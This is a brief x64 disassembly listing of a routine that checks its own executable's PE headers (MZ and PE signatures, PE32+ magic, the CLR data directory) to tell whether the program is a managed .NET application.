call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019c6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019c6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019c6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019c6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019c6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019c8
xor al, al
add rsp, 0x28
ret